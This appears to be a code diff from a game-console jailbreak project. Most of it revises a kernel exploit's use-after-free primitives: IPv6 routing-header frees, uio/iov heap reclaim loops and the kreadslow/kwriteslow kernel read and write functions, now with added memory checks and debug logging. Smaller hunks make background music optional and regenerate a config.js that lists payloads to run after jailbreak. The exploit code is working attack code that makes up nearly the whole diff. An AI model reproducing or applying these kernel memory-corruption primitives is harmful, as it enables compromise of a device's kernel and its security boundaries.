free_rthdr(ipv6_socks[triplets[2]])
// Free one.
free_rthdr(ipv6_socks[triplets[1]])
// Leak kqueue.
let kq = new BigInt(0)
@@ -1430,6 +1474,7 @@ function leak_kqueue () {
}
close(kq)
sched_yield()
count++
}
if (count === KQUEUE_ITERATIONS) {
@@ -1457,9 +1502,8 @@ function leak_kqueue () {
// Close kqueue to free buffer.
close(kq)
// Find triplet.
// No need we discarded triplets[2] and we only use twins from now on
// triplets[1] = find_triplet(triplets[0], -1);
// Find new triplets[1]
triplets[1] = find_triplet(triplets[0], triplets[2])
return true
}
@@ -1490,6 +1534,15 @@ function kreadslow (addr: BigInt, size: number) {
// debug(' Memory: avail=' + debugging.info.memory.available + ' dmem=' + debugging.info.memory.available_dmem + ' libc=' + debugging.info.memory.available_libc);
debug('Enter kreadslow addr: ' + hex(addr) + ' size : ' + size)
// Memory exhaustion check
if (debugging.info.memory.available === 0) {
log('kreadslow - Memory exhausted before start')
cleanup()
return BigInt_Error
}
debug('kreadslow - Preparing buffers...')
// Prepare leak buffers.
const leak_buffers = new Array(UIO_THREAD_NUM)
for (let i = 0; i < UIO_THREAD_NUM; i++) {
@@ -1506,15 +1559,30 @@ function kreadslow (addr: BigInt, size: number) {
// Set iov length
write64(uioIovRead.add(0x08), size)
debug('kreadslow - Freeing triplets[1]=' + triplets[1])
// Free one.
free_rthdr(ipv6_socks[triplets[1]])
// Minimize footprint
const uio_leak_add = leak_rthdr.add(0x08)
debug('kreadslow - Starting uio reclaim loop...')
let count = 0
let zeroMemoryCount = 0
// Reclaim with uio.
while (count < 10000) {
if (debugging.info.memory.available === 0) {
zeroMemoryCount++
if (zeroMemoryCount >= 5) {
log('netctrl failed!')
cleanup()
return BigInt_Error
}
} else {
zeroMemoryCount = 0
}
count++
trigger_uio_writev() // COMMAND_UIO_READ in fl0w's
sched_yield()
@@ -1541,32 +1609,43 @@ function kreadslow (addr: BigInt, size: number) {
}
if (count === 10000) {
debug('kreadslow - Failed')
debug('kreadslow - Failed uio reclaim after 10000 iterations')
return BigInt_Error
}
debug('kreadslow - uio reclaim succeeded after ' + count + ' iterations')
const uio_iov = read64(leak_rthdr)
// debug("This is uio_iov: " + hex(uio_iov));
debug('kreadslow - uio_iov: ' + hex(uio_iov))
// Prepare uio reclaim buffer.
build_uio(msgIov, uio_iov, 0, true, addr, size)
// Find new one to free
triplets[1] = find_triplet(triplets[0], -1, 1000)
if (triplets[1] === -1) {
debug('kreadslow - Failed to adquire twin')
return BigInt_Error
}
debug('kreadslow - Freeing triplets[2]=' + triplets[2])
// Free second one.
free_rthdr(ipv6_socks[triplets[1]])
free_rthdr(ipv6_socks[triplets[2]])
// Minimize footprint
const iov_leak_add = leak_rthdr.add(0x20)
debug('kreadslow - Starting iov reclaim loop...')
// Reclaim uio with iov.
let zeroMemoryCount2 = 0
let count2 = 0
while (true) {
count2++
if (debugging.info.memory.available === 0) {
zeroMemoryCount2++
if (zeroMemoryCount2 >= 5) {
log('netctrl failed!')
cleanup()
return BigInt_Error
}
} else {
zeroMemoryCount2 = 0
}
// Reclaim with iov.
trigger_iov_recvmsg()
sched_yield()
@@ -1575,7 +1654,7 @@ function kreadslow (addr: BigInt, size: number) {
get_rthdr(ipv6_socks[triplets[0]], leak_rthdr, 0x40)
if (read32(iov_leak_add) === UIO_SYSSPACE) {
// debug("Break on reclaim uio with iov");
debug('kreadslow - iov reclaim succeeded after ' + count2 + ' iterations')
break
}
@@ -1585,6 +1664,8 @@ function kreadslow (addr: BigInt, size: number) {
read(new BigInt(iov_sock_0), tmp, 1)
}
debug('kreadslow - Reading leak buffers...')
// Wake up all threads.
read(new BigInt(uio_sock_0), tmp, size)
// Read the results now.
@@ -1593,31 +1674,30 @@ function kreadslow (addr: BigInt, size: number) {
const tag_val = new BigInt(0x41414141, 0x41414141)
// Get leak.
// debug("Before getting leak");
for (let i = 0; i < UIO_THREAD_NUM; i++) {
read(new BigInt(uio_sock_0), leak_buffers[i], size)
const val = read64(leak_buffers[i])
// debug("I read from leak_buffers[" + i + "] : " + hex(val) );
debug('kreadslow - leak_buffers[' + i + ']: ' + hex(val))
if (!val.eq(tag_val)) {
debug('kreadslow - Found valid leak at index ' + i + ', finding triplets[1]...')
// Find triplet.
triplets[1] = find_triplet(triplets[0], -1, 1000)
if (triplets[1] === -1) {
debug('kreadslow - Failed to adquire twin 2')
return BigInt_Error
}
triplets[1] = find_triplet(triplets[0], -1)
debug('kreadslow - triplets[1]=' + triplets[1])
leak_buffer = leak_buffers[i].add(0)
// debug("This is leak_buffer " + hex(leak_buffer) + " - " + hex(read64(leak_buffer)));
}
}
// debug("After getting leak");
// Workers should have finished earlier no need to wait
wait_uio_writev()
// Release iov spray.
write(new BigInt(iov_sock_1), tmp, 1)
// Find triplet.
// triplets[2] = find_triplet(triplets[0], triplets[1], 500);
debug('kreadslow - Finding triplets[2]...')
// Find triplet[2].
triplets[2] = find_triplet(triplets[0], triplets[1])
debug('kreadslow - triplets[2]=' + triplets[2])
// Let's make sure that they are indeed triplets
// const leak_0 = malloc(8);
@@ -1634,6 +1714,8 @@ function kreadslow (addr: BigInt, size: number) {
wait_iov_recvmsg()
read(new BigInt(iov_sock_0), tmp, 1)
debug('kreadslow - Done, returning leak_buffer: ' + hex(leak_buffer))
return leak_buffer
}
@@ -1655,7 +1737,18 @@ function kwriteslow (addr: BigInt, buffer: BigInt, size: number) {
const uio_leak_add = leak_rthdr.add(0x08)
// Reclaim with uio.
let zeroMemoryCount = 0
while (true) {
if (debugging.info.memory.available === 0) {
zeroMemoryCount++
if (zeroMemoryCount >= 5) {
log('netctrl failed!')
cleanup()
return BigInt_Error
}
} else {
zeroMemoryCount = 0
}
trigger_uio_readv() // COMMAND_UIO_WRITE in fl0w's
sched_yield()
@@ -1681,22 +1774,25 @@ function kwriteslow (addr: BigInt, buffer: BigInt, size: number) {
// Prepare uio reclaim buffer.
build_uio(msgIov, uio_iov, 0, false, addr, size)
// Find new one to free
triplets[1] = find_triplet(triplets[0], -1, 1000)
if (triplets[1] === -1) {
debug('kwriteslow - Failed to adquire twin')
return BigInt_Error
}
// Free second one.
free_rthdr(ipv6_socks[triplets[1]])
free_rthdr(ipv6_socks[triplets[2]])
// Minimize footprint
const iov_leak_add = leak_rthdr.add(0x20)
// Reclaim uio with iov.
let zeroMemoryCount2 = 0
while (true) {
if (debugging.info.memory.available === 0) {
zeroMemoryCount2++
if (zeroMemoryCount2 >= 5) {
log('netctrl failed!')
cleanup()
return BigInt_Error
}
} else {
zeroMemoryCount2 = 0
}
// Reclaim with iov.
trigger_iov_recvmsg()
sched_yield()
@@ -1721,16 +1817,16 @@ function kwriteslow (addr: BigInt, buffer: BigInt, size: number) {
}
// Find triplet.
triplets[1] = find_triplet(triplets[0], -1, 1000)
triplets[1] = find_triplet(triplets[0], -1)
// Workers should have finished earlier no need to wait
wait_uio_writev()
wait_uio_readv()
// Release iov spray.
write(new BigInt(iov_sock_1), tmp, 1)
// Find triplet.
// triplets[2] = find_triplet(triplets[0], triplets[1], 500);
// Find triplet[2].
triplets[2] = find_triplet(triplets[0], triplets[1])
// Workers should have finished earlier no need to wait
wait_iov_recvmsg()
+5 -3
View File
@@ -16,9 +16,11 @@ import { checkJailbroken } from 'download0/check-jailbroken'
log('Loading check-jailbroken.js...')
include('check-jailbroken.js')
const audio = new jsmaf.AudioClip()
audio.volume = 0.5 // 50% volume
audio.open('file://../download0/sfx/bgm.wav')
if (typeof CONFIG !== 'undefined' && CONFIG.music) {
const audio = new jsmaf.AudioClip()
audio.volume = 0.5 // 50% volume
audio.open('file://../download0/sfx/bgm.wav')
}
is_jailbroken = checkJailbroken()
+13 -4
View File
@@ -207,28 +207,37 @@ try {
var needsConfig = false;
try {
include('config.js')
if (typeof CONFIG === 'undefined') {
log('CONFIG var missing from config.js, regenerating')
needsConfig = true;
}
}
catch(e){
var config = [
log(e.message)
log('config.js not found! creating config')
needsConfig = true;
}
if (needsConfig) {
var config = [
'var CONFIG = {',
' autolapse: false,',
' autopoop: false,',
' autoclose: false,',
' music: true,',
' jb_behavior: 0',
'};',
'',
'var payloads = [ //to be ran after jailbroken',
'];'
].join('\n');
log(e.message)
log('config.js not found! creating config')
fs.write("config.js", config, function(err) {
if (!err) console.log("config.js written");
include('config.js');
});
}
if(CONFIG.autolapse){ include('loader.js') }